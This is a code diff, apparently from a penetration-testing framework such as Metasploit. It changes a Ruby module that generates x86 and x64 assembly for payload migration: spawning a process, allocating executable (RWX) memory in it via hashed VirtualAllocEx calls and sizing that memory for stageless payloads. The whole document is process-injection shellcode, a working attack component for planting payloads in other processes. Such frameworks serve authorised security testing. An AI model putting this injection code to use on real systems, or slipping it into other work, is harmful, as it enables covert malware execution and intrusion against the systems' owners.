@@ -240,8 +240,19 @@ def prepend_migrate(buf)
240
240
; allocate memory in the process (VirtualAllocEx())
241
241
; get handle
242
242
push 0x40 ; RWX
243
- add bh,0x10 ; ebx = 0x1000
243
+ add bh, 0x10 ; ebx = 0x1000
244
244
push ebx ; MEM_COMMIT
245
+ EOS
246
+
247
+ if buf . length > 4096
248
+ # probably stageless, so we don't have shellcode size constraints,
249
+ # and so we can just set ebx to the size of the payload
250
+ migrate_asm << <<-EOS
251
+ mov ebx, #{ payloadsize } ; stageless size
252
+ EOS
253
+ end
254
+
255
+ migrate_asm << <<-EOS
245
256
push ebx ; size
246
257
xor ebx,ebx
247
258
push ebx ; address
@@ -445,10 +456,11 @@ def prepend_migrate_64(buf)
445
456
call rbp ; GetStartupInfoA( &si );
446
457
447
458
jmp getcommand
448
- gotcommand:
459
+ gotcommand:
449
460
pop rsi ; rsi = address of process name (command line)
450
461
451
462
; create the process
463
+ push 0 ; keep the stack aligned
452
464
lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation
453
465
push rdi ; lpProcessInformation : write processinfo here
454
466
lea rcx,[rsp+0x58]
@@ -474,7 +486,22 @@ def prepend_migrate_64(buf)
474
486
; get handle
475
487
push 0x40 ; RWX
476
488
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
489
+ EOS
490
+
491
+ if buf . length > 4096
492
+ # probably stageless, so we don't have shellcode size constraints,
493
+ # and so we can just set r8 to the size of the payload
494
+ migrate_asm << <<-EOS
495
+ mov r8, #{ payloadsize } ; stageless size
496
+ EOS
497
+ else
498
+ # otherwise we'll juse reuse r9 (4096) for size
499
+ migrate_asm << <<-EOS
477
500
mov r8,r9 ; size
501
+ EOS
502
+ end
503
+
504
+ migrate_asm << <<-EOS
478
505
xor rdx,rdx ; address
479
506
mov rcx, [rdi] ; handle
480
507
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
0 commit comments